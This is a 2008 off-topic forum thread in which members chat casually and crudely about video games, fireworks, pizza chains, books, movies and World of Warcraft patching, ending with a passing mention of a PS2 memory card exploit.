Yeah probably. The game had the best pacing ever. Every single location you go to furthers the story (the game's really only something like 15 hours if you rush), the magic/tech system was awesome and extremely innovative (whole battle system was really), no random battles (which was, in normal RPGs, a first I think?), characters that were extremely fleshed out and an overall plot that was very deep and engaging.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on July 04, 2008, 04:58:59 PM
i think im the only one here who doesn't like chrono trigger ;o

>;-o

i'm sure you'll appreciate it after playing BIG RIGS
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on July 04, 2008, 05:07:01 PM
now why would i do that?

but speaking of trucking games, big mother truckers was a pretty good budget game back in the day.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: 淫蟲 on July 04, 2008, 06:11:35 PM
Happy Independence Day. xd
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on July 04, 2008, 07:11:30 PM
>;-o

i'm sure you'll appreciate it after playing BIG RIGS

Oh come on, what's so bad about a game where you can accelerate exponentially with no speed limit in reverse and then stop instantaneously?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Korremar on July 04, 2008, 08:05:56 PM
I started doing HNMs in FFXI. Tedium and sleep-destruction GOGO.

Adamantoise/Fafnir/Behemoth: Respawn 21-24 hours from last death, every 30min there is a 1 minute window where it can appear.
Aspidochelone/Nidhogg/King Behemoth: Random spawn off of Ada/Faf/Behe. First chance to spawn 3 kills from last kill, will spawn at most in 7 kills.
Cerberus/Khimaira/Hydra: 24-36 hours from last death, ABSOLUTELY NO WINDOWS. No way to know when the hell it'll pop.
Xolotl/Roc/Simurgh/King Arthro: Lmao who even camps these anymore.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on July 04, 2008, 08:09:38 PM
Oh come on, what's so bad about a game where you can accelerate exponentially with no speed limit in reverse and then stop instantaneously?

My favorite was how terrain changes on the Y axis did not slow down your speed of travel across the X and Z axii.  Oh, and how the trucks travelled straight through models as if they didn't exist, including each other.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on July 04, 2008, 10:57:07 PM
4th of july = random explosions from every which direction, followed by dogs barking.  this happens for about 2-3 hours.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Shoop Da Whoop on July 04, 2008, 11:25:11 PM
we cant have any fun fireworks California, shits weak.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on July 05, 2008, 05:43:44 AM
we cant have any fun fireworks California, shits weak.

it varies by county here. my county outlawed it, too.. :[ But everyone just goes over by sacramento or wherever and buys them. fucking stupid laws. lol.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on July 05, 2008, 10:14:28 AM
I went on my sister's friend's boat and got right under Clearwater's MASSIVE fireworks display. It was so loud, and bright, and awesome.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Big Rigs on July 05, 2008, 11:48:32 AM
>;-o

i'm sure you'll appreciate it after playing BIG RIGS

I'M NOT SURE WHAT YOU'RE TRYING TO SAY HERE
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on July 05, 2008, 01:13:13 PM
So yeah, I had a rather fun 4th. Started it by going to a small party with just a few friends, where we light off fireworks then played 007, Mario party, and super smash. Then we all went to a much bigger pirate themed party in a really nice house. I saw a friend I haven't seen in about a year and a few others that I hadn't seen in a long time, it was rather awesome. Also this house had a house trained pig, that had its own litter box. Then after all that me and a few friends went to my house and lit off fireworks until a cop came up and told us to stop, then me and my other friend had an extremely nerdy conversation about video games.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on July 05, 2008, 01:46:14 PM
Me, my older sister, and a couple of friends got some pie and climbed onto my roof to watch fireworks, then my sister left and we watched Airplane, then they played Guild Wars for a couple of hours while I played Katamari Damacy.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on July 05, 2008, 04:02:15 PM
They fucking outlawed the sale of fireworks to a week before and after Victoria day, and (I think) Canada day.

It's retarded.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on July 05, 2008, 05:35:12 PM
we watched Airplane

points. also:

Attendant: How do you take your coffee?
10 year old girl: I take it black, please-- Like my men.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Big Rigs on July 05, 2008, 06:08:11 PM
points. also:

Attendant: How do you take your coffee?
10 year old girl: I take it black, please-- Like my men.

I TAKE MY MEN LIKE VIN DIESEL ACTUALLY

HAHA GET IT

VIN DIESEL
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on July 05, 2008, 06:15:55 PM
I TAKE MY MEN LIKE VIN DIESEL ACTUALLY

HAHA GET IT

VIN DIESEL

OH, LIKE THE ENGINE! I GET IT! YOU'RE CLEVER ONE !
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on July 05, 2008, 10:45:09 PM
God, I ate so much pizza at work today. I had six slices. SIX. in a 6-hour period. Christ, I don't normally eat that much.

They ordered about 30 pizzas in a few hour intervals over the course of today and again tomorrow as an incentive to get people to work extra hours this weekend.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: ovanova on July 06, 2008, 01:28:39 AM
God, I ate so much pizza at work today. I had six slices. SIX. in a 6-hour period. Christ, I don't normally eat that much.

They ordered about 30 pizzas in a few hour intervals over the course of today and again tomorrow as an incentive to get people to work extra hours this weekend.
Well, shit, I'd fall for do it.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on July 06, 2008, 02:12:22 AM
i've once eaten two little caesar's hot n ready larges in 10 minutes. 16 slices, dawg. munchies.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on July 06, 2008, 10:59:10 PM
i've once eaten two little caesar's hot n ready larges in 10 minutes. 16 slices, dawg. munchies.

ive eaten an entire hot n' ready due to extreme hunger, but i can't see myself eating TWO. 

do you have several stomachs?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on July 07, 2008, 01:10:10 AM
ive eaten an entire hot n' ready due to extreme hunger, but i can't see myself eating TWO. 

do you have several stomachs?

No, but I was damned hungry. And it was one of those times little caesar's made the hot and ready's really fucking tasty and good. otherwise, they usually suck.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on July 07, 2008, 01:25:43 AM
And it was one of those times little caesar's made the hot and ready's really fucking tasty and good. otherwise, they usually suck.

so its not just my ceasars.  its like a gamble with my money every time i get one, 1/3 of the time, i will get a spectacular pizza that i can't stop eating.  2/3 of the time, it has too much sauce or some other defect to make it less appetizing, ill eat it, but there will be roughly 1/3 of the pizza left over that i won't eat.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Eggman on July 07, 2008, 03:10:56 AM
Little Caesar's used to be my favorite pizza place but I haven't had it in like 12 years. Only one around is take-out only.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Jupi on July 07, 2008, 03:34:14 AM
I know of one Little Caesar's pizza near me, and that's in the nearly-defunct Parkway Center Mall.  It and Phantom of the Attic are pretty much the only two reasons to even set foot in that building anymore.  Hell, two of the three floors are blocked off, and I think the K-mart the pizza joint is in is one of five functioning stores in the whole place. 

I used to think it was the best pizza around here and for the best price.  (Says a lot about pizza around here...)  I knew of a good place, but it's rather expensive.  With the stupid little midget midget, I can feed a group of DnD players for about $15.  xD

And then my friend Brandon introduced me to a place nearby.  Sunset Pizza.  Mmm...@_@  It's a little more expensive than Little Caesar's, but you get a lot more pizza and the quality is steady.  Steady and orgasmic.

...

..

I must have some.  o_o
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on July 07, 2008, 01:57:54 PM
I leave for my cross-country road trip in three days. Gonna be gone for two weeks plus. Shall be an enjoyable ordeal, going to stop at many places en route to Las Vegas and back.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on July 07, 2008, 02:16:30 PM
damn. I want to go to vegas... Hell, I want to go to any nice casinos, lol.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on July 07, 2008, 02:27:02 PM
well i mean, ceasars is pretty much there just because its cheap food.  i mean, an entire pizza for $5.00, that can easily make two people from hungry to content.

but i mean, just about every other pizza joint around here has a better quality pizza, so if you feel like getting a single orgasmic pizza, you are going to have to pay out what would get you two hot n' ready pizzas.  which normally isn't a problem, but as you said (jupi) if its something like feeding the dnd group, you can't go wrong with cheap fast pizza.

not to mention i know about three people that work there, and ive walked in with $5.00, and walked out with $4.00, two large pizzas, and some breads.  they can't quite do stuff to that magnitude anymore (the higher ups, not the manager because hes awesome, but they are keeping track of stuff), but i can still nab some free bread, maby a soda from time to time.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on July 07, 2008, 02:45:35 PM
Little Caesars is actually pretty good tasting compared to say

Pizza Hut

or Blackjack

or this Abondanza place around here that sucks ass

Papa Johns is pure jizz though ;-D
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on July 07, 2008, 03:15:18 PM
don't know about you, but pizza hut is pretty fucking good.  only problem, its pretty fucking expensive.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on July 07, 2008, 04:24:40 PM
s/good/ape shit flavored nine levels of disgusting
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on July 07, 2008, 05:44:12 PM
There's this awesome pizza place here called Mama's Pizza. They have a $6.00 all-you-can-eat buffet from 11:00 to 2:00 every day except Sunday.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on July 07, 2008, 08:07:00 PM
s/good/ape shit flavored nine levels of disgusting

you must have a shitty pizza hut.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on July 07, 2008, 09:12:20 PM
damn. I want to go to vegas... Hell, I want to go to any nice casinos, lol.

Gambling age in Vegas is 21. I'm pretty sure in the Indian run casinos down here it MIGHT be 18, but I can;t remember. Hard to care about gambling when you don't have money to start with.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on July 07, 2008, 09:26:22 PM
lol.

Well, it's not like I'd be able to get there any time before I'm 21 anyway. And yeah, being broke sucks. Thank god I have my job.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on July 07, 2008, 10:45:59 PM
Yeah, thank god I have a class that's sucking the life and money from me, at least my mother is helping me with it. Also

http://enchantingidols.blogspot.com/2007/05/akina-minami-gallery.html

There were posters of her in MGS4, so I googled the name and liked what I saw (really too skinny, but that's besides the point). Then I looked at her age and realized that I was older, this kind of freaked me outfor 30 seconds and still makes me feel weird.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on July 08, 2008, 01:43:28 AM
indian casinos are 18, i got friends that like to go from time to time and they sure as hell aint 21.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on July 08, 2008, 02:14:23 AM
Heh, nice.

Yeah, she's a bit on the skinny side, but not too bad, her ribcage isn't really showing. It is kinda weird to think that I'm actually older than girls in porn that are 18 or 19, lol.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on July 08, 2008, 04:00:50 AM
I just deleted my porn folder to free up some space, since I hadn't actually used it since I don't even remember. As such, I forgot I made it invisible (not hidden, actually invisible), and I forgot where I'd put it.

In other news, I found a copy of Ender's Game on a bookshelf in my house, so I started reading it. I haven't voluntarily read a book since I read Dan Brown's Deception Point over a year ago.

Also, I hate being a slow reader.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on July 08, 2008, 04:32:29 AM
I like being a relatively quick reader. I think part of the reason I'm a quick reader is because I've been reading heavily for pretty much all of my life, and I learned to read early.

Enders Game is an awesome book, and Orson Scott Card is a great writer, too bad I don't own any of the other books in that series.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on July 08, 2008, 04:52:03 AM
If I read too fast, the words get out of order in my head. Sometimes a few words will mix together. Like, if I see "shell, "like," and "fame" on separate lines really fast, all I'll read is the word "shake" until I reread it. I can't really read much faster than I can talk.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on July 08, 2008, 11:09:27 AM
In other news, I found a copy of Ender's Game on a bookshelf in my house, so I started reading it. I haven't voluntarily read a book since I read Dan Brown's Deception Point over a year ago.

How is Deception Point? It's the only one of his novels I haven't read. Worth checking out?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on July 08, 2008, 01:27:01 PM
I enjoyed it, otherwise I wouldn't have read all of it.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on July 08, 2008, 03:44:37 PM
I can skim really quickly, but at that speed I'm actually reading subconsciously, I can't really recall the words, but I know what it said. However, my average reading speed is somewhere around 100 pages an hour.

But I would definitely say that I've had a couple reasons for reading as much as I have. My parents taught me to read before kindergarten (which IIRC I went into when I was 3, because we have 2 years of it sometimes). I was such a good reader by then that none of the shitty books they had interested me, because I'd read them once and get bored. The other part is that when I was being bullied and shit in school, part of my way of dealing with shit wa escapism, and I could manage to lose myself in a book in such a way that I was completely occupied by the book, and didn't have to think about schol, and all that shit. So there are really 2 primary reasons I read so much.

However, since then, I've come to really enjoy reading without using it as a form of escape. Unfortunately, I'm rather picky about stuff I read. If it's fantasy, it has to conform to what I want very heavily. It can't be any of those shitty fantasy books aimed at "young adults" or teenagers, it has to be a completely serious, well written story with characters that aren't childish and preferably a complex plot. It also has to be long. Half the time I pick up a new series, it's either because the books were huge, or because the plot sounds interesting. And by interesting, I mean complex and most likely involving some form of magic that isn't simply "Oh, I can cast spells".
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on July 08, 2008, 04:09:21 PM
More like the dark tower series

<3
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on July 08, 2008, 04:22:43 PM
I have a couple books in that, but haven't read them, because i don't have the first couple.

Also, I'm not a Steven King fan. His writing is rather basic.

I'm talking about stuff like A song of Ice and Fire (http://en.wikipedia.org/wiki/A_song_of_ice_and_fire), and the Malazan Book of the Fallen (http://en.wikipedia.org/wiki/Malazan_book_of_the_fallen), and the Prince of Nothing (http://en.wikipedia.org/wiki/Prince_of_Nothing) trilogy and such.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on July 08, 2008, 10:38:29 PM
Heh, nice.

Yeah, she's a bit on the skinny side, but not too bad, her ribcage isn't really showing.

Yeah, but she's still skinny. I feel bad now, I'm about that skinny (not that bad, but I only weigh 125ish). Also awesome face plus awesome chest = awesome.

Also I've been trying to read slaughter house 5, a child's quest and I haven't been able to do it, despite liking the book and all.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: TimJing on July 09, 2008, 12:49:34 AM
Just got home from hanging out with my girlfriend and her little black cousin all day. 'Twas a fun time.

Edit: Also, leaving in a few hours on my road trip. Be back in two weeks, don't kill each other while I'm gone :D
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on July 10, 2008, 07:15:33 PM
My cat's asleep on my lap. I now have the option of moving the cat and standing up, or convincing myself that there's more I want to do on the computer and I don't want to go read Speaker for the Dead.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: cristian989 on July 10, 2008, 08:44:27 PM
My cat's asleep on my lap. I now have the option of moving the cat and standing up, or convincing myself that there's more I want to do on the computer and I don't want to go read Speaker for the Dead.

"See, I write jokes for a living, man. I sit in my hotel at night and think of something that's funny and then I go get a pen and write 'em down. Or if the pen's too far away, I have to convince myself that what I thought of ain't funny."
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on July 10, 2008, 10:33:30 PM
So eventually I did move my cat. He was displeased.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Zakamiro on July 10, 2008, 10:56:52 PM
"See, I write jokes for a living, man. I sit in my hotel at night and think of something that's funny and then I go get a pen and write 'em down. Or if the pen's too far away, I have to convince myself that what I thought of ain't funny."


where is this from?
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Eggman on July 11, 2008, 12:12:10 AM
Reads like Mitch Hedberg.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: flesy on July 11, 2008, 03:17:25 AM
post
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on July 11, 2008, 03:20:08 AM
post

Response.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: flesy on July 11, 2008, 03:27:29 AM
sweet
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Jupi on July 11, 2008, 03:29:55 AM
Ban!

*hammer*
Title: Re: Lame Replies Thread, With A Vengeance
Post by: flesy on July 11, 2008, 03:34:35 AM
whoever the hell you are
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on July 11, 2008, 03:37:51 AM
Ban!

*hammer*

KING DEDEDE
Title: Re: Lame Replies Thread, With A Vengeance
Post by: flesy on July 11, 2008, 03:44:54 AM
5
Title: Re: Lame Replies Thread, With A Vengeance
Post by: flesy on July 11, 2008, 03:45:08 AM
post 6 on page 66

omg
Title: Re: Lame Replies Thread, With A Vengeance
Post by: 『フエハデ』 on July 11, 2008, 03:45:14 AM
(http://vyhd.homelinux.org/images/misc/KingDedede.jpg)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Jupi on July 11, 2008, 03:59:56 AM
whoever the hell you are


I'M...REPAIR MAN man man man...


I mean, Jupi!  ^_^
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on July 11, 2008, 07:36:25 AM
My cat's asleep on my lap. I now have the option of moving the cat and standing up, or convincing myself that there's more I want to do on the computer and I don't want to go read Speaker for the Dead.

Fuck you, I want that book :( I've been wanting to get the other Orson Scott Card books for a while now, but I'm too cheap to buy them :/
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on July 11, 2008, 03:04:49 PM
Fuck you, I want that book :( I've been wanting to get the other Orson Scott Card books for a while now, but I'm too cheap to buy them :/

Oh, I'm not buying it unless I see it in paperback for less than $10. The great thing about books is that you never actually need to buy them. I've been reading Speaker for the Dead in-store.

Also, online defensive driving is a joke. I just keep it running in a tab while I stumble and hit "Continue" whenever it finishes talking.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on July 11, 2008, 03:11:37 PM
So I saw hell boy 2, and that had to be one of the corniest movies I've ever seen. The charecter design and action was entertaining, but damn was it corny.

Also I saw a really dirty used copy of ikaruga at the mall going for 40 bucks. It had visitable water damage on the cover and dirt spots on it, and it was still 40 fucking dollars.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sqthreer! on July 11, 2008, 03:32:59 PM
Considering how awesome the Hellboy comics are, I thought the movie was going to be kickass, but it was the complete opposite. It was... ssakcik. I am not interested in seeing the second one.

BUT CHECK IT

I am in charge of watering the plants while my dad and step-mom are away, and I was watering the ones by the sidewalk just a few minutes ago. Then I noticed this really hot girl was jogging on her way down the sidewalk toward me, so I turned the hose off and stepped back. I said "hi" as she passed and she stopped and said, "Could I get a spray? It's really hot ;D" (and yes, she actually did say ";D") so I was like SURE and proceeded to spray her down. She thanked me and went on her merry way. It was sweeeeet.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on July 11, 2008, 07:13:36 PM
Nice work :P
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on July 11, 2008, 09:17:16 PM
If I were you, I would stay in the street with the house at a similar time. tomorrow.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sqthreer! on July 11, 2008, 10:34:58 PM
Hah, well I have a girlfriend who I'm way more attracted to so I'm good. It was just a cool random occurrence. I don't get those often.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Eggman on July 13, 2008, 04:25:03 AM
Dude Hellboy 2 was fantastic what's wrong with you
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on July 13, 2008, 01:33:44 PM
It was really corny. It would have been a lot better without all those scenes that played out like "LOL I LUV YOU SO MUCH" or "LOL I'M IN LUV". Also it was really long.

So I was at a friends house, and at random he says "oh hey, want to see something cool?". So he goes up stairs and gets a box, and in the box was an uzi. Fun times.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: cristian989 on July 13, 2008, 02:50:06 PM
I just slept from 7:30AM to 2:30PM  8)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sqthreer! on July 13, 2008, 03:17:08 PM
I just slept from 7:30AM to 2:30PM  8)

I remember when I used to do shit like that XD Now if I sleep past 11AM I feel like I've wasted way too much of my day.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on July 13, 2008, 03:45:08 PM
i slept from about 5am to 1pm

i can't feel guilty about "wasting my day" because my day doesn't end at 11pm or so like most people, it ends at around 4-5am.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Eggman on July 13, 2008, 04:33:46 PM
It was really corny. It would have been a lot better without all those scenes that played out like "LOL I LUV YOU SO MUCH" or "LOL I'M IN LUV". Also it was really long.

So I was at a friends house, and at random he says "oh hey, want to see something cool?". So he goes up stairs and gets a box, and in the box was an uzi. Fun times.

It's less than 2 hours long, which is pretty much the standard now.

And, uh, love IS corny. They're also freak demon things that have never had other friends, let alone hot love interests. I'd say they did just fine.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on July 13, 2008, 04:50:10 PM
It's damn close to 2 hours long, and it seemed like they just crammed stuff into the movie near the end. It just really seemed a bit sloppy to me.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on July 13, 2008, 06:12:17 PM
how the fuck do you get even BAD(i am worse than bad) at an rts game?

i just don't get it, starcraft is retarded and for savants only.  but warcraft 3 is managable for the most part because it requires less apm to be "decent".  i mean, i USED (back before arch0wl, or rhythm games in general) to be decent (like a 40% winrate on battle.net) but now i can't do shit.

i played a game on battle.net and well it didn't go well, then i played a game against an EASY bot, and it literally went the same.  like they were both nightelves, and they both got those cat riding glaive throwing bitches, and they had like a control group of them, which just rape the 70% of a control group of grunts i have, so i pretty much have to gg right after the first encounter.

now i remember to get decent, you need to lose....a lot, and get used to losing, and try to make the most out of every game, but c'mon.  i shouldn't get slaughtered that bad when im making units as fast as they come out of the barracks.

anyway, /rant, and rts games are annoying to get to a non suck level at.  its not like an fps where you die, and then spawn a second later, its more like you spend 10 minutes building up...GET FUCKED IN THE ASS, gg, and have to do all that shit all over again.

RARARANRANNNTNTNTNTNRAAGGEEEE

also, ironically, the fist game on battle.net i played was a 4 man ffa, literally an hour after i got the game....and i won.

figures
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on July 14, 2008, 04:08:23 AM
So I got a glass of water just now and noticed that it felt unusually heavy. Then I realized that all I'd had to eat since I woke up was a single bowl of spaghetti and had simply ignored any later hunger because I was reading. I haven't eaten in 13 hours.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on July 14, 2008, 04:30:20 AM
I never got into playing proper games in SC or WC3 because of the whole "you suck 80 million times before you get good".
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sqthreer! on July 14, 2008, 02:17:50 PM
1000th post for Bobbias WHOOOOOOOOOOO!!!!


Anyway, I saw this badass bug flying around while I was watering the plants today, and with closer inspection after it landed on a leaf, I discovered it was either making out with, or eating the face of a regular garden spider. Since bugs are known to eat each other, I assume it was the latter. But either way, it was awesome to see, because the spider was all freaking out and the bug (which I have identified as a black wasp (http://bugguide.net/images/cache/0K9KLKWKIKT0UQLSUQY0BQF0AQDK5K1K5KHS4KLS4KVK4KBK8KVK7KAK5KTK8KJ08KVK4K1KXK1KUQLSBQCK4K30.jpg)) was totally calm and just happily munching away at its opponent's face parts. Anyway, the point of this story is that nature is awesome and there are certain things you just don't get to see when you're in front of a computer screen all day. And if anyone decides to link me to a Youtube video of a black wasp eating a spider, I'm going to be very sad :\
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on July 14, 2008, 06:34:28 PM
Ehh? I'm only at 2800.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on July 14, 2008, 06:35:20 PM
he meant the 1000th post of this thread

meaning, we need a new thread!
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on July 14, 2008, 06:37:11 PM
Heh, nice. Pwned noobs.

:P
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on July 14, 2008, 07:33:43 PM
in b4 loq.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Sneaky on July 14, 2008, 07:59:29 PM
in b4 loq.
qft
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on July 14, 2008, 08:29:38 PM
I am currently downloading World of Warcraft.  Damn Shamus (http://www.shamusyoung.com/twentysidedtale/), writing about it and stuff. D:

Heh, nice. Pwned noobs.

My latest order of business on the administrative front: deleting all of Bobbias's posts. ;P
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on July 14, 2008, 08:33:22 PM
well if you have any questions about that blasted WoW game, newf or I can answer most of anything about it.

i haven't played the darned thing in some 7 months, but i still feel like i have WoWikki in my brain.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on July 14, 2008, 10:17:48 PM
http://www.castle-vidcons.com/

This web comic is awesome.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on July 15, 2008, 12:00:22 AM
oh, nigguh, puhlEEAZE.  new threads start after 200 pages, biatch

More like 100, but yeah. :)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on July 15, 2008, 08:57:37 AM
Lol, either way, my 1k get and 2800 get at the same time is pretty badass.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on July 15, 2008, 10:39:17 AM
I am currently downloading World of Warcraft.

...and am currently stuck in the middle of patch hell.  Argh.

Okay, I slept while downloading the 2.0.0 -> 2.3.0 patch, which was over 700MB (I was tired :() and now I have to download more patches to go from 2.3.0 -> 2.4.0, then to 2.4.1, then to 2.4.2, then to 2.4.3?  Wow.

WoW really needs a way to manage updates unattended (and if there is it needs to become more obvious).
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on July 15, 2008, 11:42:50 AM
Yeah, I know. Patching WoW is a PAIN in the ass.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on July 15, 2008, 12:50:17 PM
I am currently downloading World of Warcraft.
:-(
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Spectere on July 15, 2008, 12:51:42 PM
Yeah, I know. Patching WoW is a PAIN in the ass.

i no rite

On the bright side, I'll be able to get started with it today.  I could have been able to get a character going last night if Blizzard actually distributed the latest version with their client download package.  Argh.  I had a feeling I should have sprung for the streaming demo, but I dislike waiting for things to download while I'm moving around (the install-as-you-go version of Guild Wars is beyond annoying, for example).

That's what I love about EVE.  When I download the version that they have on their web site (which, unlike WoW, doesn't require me to jump through hoops -- it's readily available) I know that I'll have the latest version.  Hell, even if I installed an old version it would bring me up-to-date quickly, with a one-step patching system.  EVE has, by far, the best update system I've seen in an MMO.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Kulli on July 15, 2008, 03:29:09 PM
well if you have any questions about that blasted WoW game, newf or I can answer most of anything about it.

i haven't played the darned thing in some 7 months, but i still feel like i have WoWikki in my brain.

hey what about me
Title: Re: Lame Replies Thread, With A Vengeance
Post by: vladgd on July 15, 2008, 04:10:45 PM
hey what about me

what about you?

i just figure newf and i have done the raid thing, and have had high levels for a long time now, and because of that, know a fair bit about the game more than the average "i hit max level post tbc" person.

anyway Monroeville, in urban dead is getting scarey.

50ap a day (same as in malton) but like if you die, YOU DIE FOR REALZ.  if you are a zombie, and take a headshot, YOU ARENT GETTING BACK UP.  so im all level 9 survivor, and every building that isn't the one im in (which is max level of barrication) has zombies in it.  zombies are everywhere, and i don't have the ap to migrate away.  so im going to hope that either

A- when i log on tomorrow the zombies haven't broke down the barricade
B- when i log on tomorrow the zombies attacked people that aren't me in the building i am in so i can escape to safety.

like, when i get enough xp to buy one more skill, i am level 10, when i get 100xp after that, i can buy headshot.  when i get headshot, killing zombies, means killing zombies.  so before i die, i hope i can perma kill several people (or several hundred if i am lucky)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: annon on July 16, 2008, 09:41:45 AM
I just watched Superhero Movie with a couple of my friends. We all went into it expecting it to be completely horrible like the last few parody movies, but it was actually really funny. The plotline was coherent and the jokes didn't completely revolve around toilet humor. Admittedly, a few of the jokes were carried out too long, but it was still a fairly good movie.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Bobbias on July 16, 2008, 09:43:18 AM
... Wow. I am shocked. Almost enough to want to watch it. However, I still don't want to pay, and I won't waste computer space on it, so I'm still not planning on seeing it any time soon.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: itsgravy on July 16, 2008, 10:52:42 AM
Cakes!

http://www.geeksaresexy.net/2008/07/16/millennium-falcon-cake-would-make-any-geek-cry-for-joy/ (http://www.geeksaresexy.net/2008/07/16/millennium-falcon-cake-would-make-any-geek-cry-for-joy/)
Title: Re: Lame Replies Thread, With A Vengeance
Post by: MortifiedocAlot on July 16, 2008, 11:10:47 PM
Oh my. Also has anyone here played stalker? I was thinking of actually buying it.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Alice on July 16, 2008, 11:28:49 PM
Cakes!

http://www.geeksaresexy.net/2008/07/16/millennium-falcon-cake-would-make-any-geek-cry-for-joy/ (http://www.geeksaresexy.net/2008/07/16/millennium-falcon-cake-would-make-any-geek-cry-for-joy/)
Personally, I'm more interested in the Stargate cake, but DAAAAAAAYYYYYM.  That guy's really fucking good at making cakes.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: cristian989 on July 17, 2008, 12:37:52 AM
I just watched Superhero Movie with a couple of my friends. We all went into it expecting it to be completely horrible like the last few parody movies, but it was actually really funny. The plotline was coherent and the jokes didn't completely revolve around toilet humor. Admittedly, a few of the jokes were carried out too long, but it was still a fairly good movie.

I enjoyed that movie as well.  It seemed like the writers actually some effort into it.
Title: Re: Lame Replies Thread, With A Vengeance
Post by: Eggman on July 17, 2008, 02:19:36 AM
Apparently there is now a way to play PS2 ISOs without modding a system. It's just a specific memory card exploit and a patch for the ISO so the system recognizes it as a DVD Video disc. Huh.
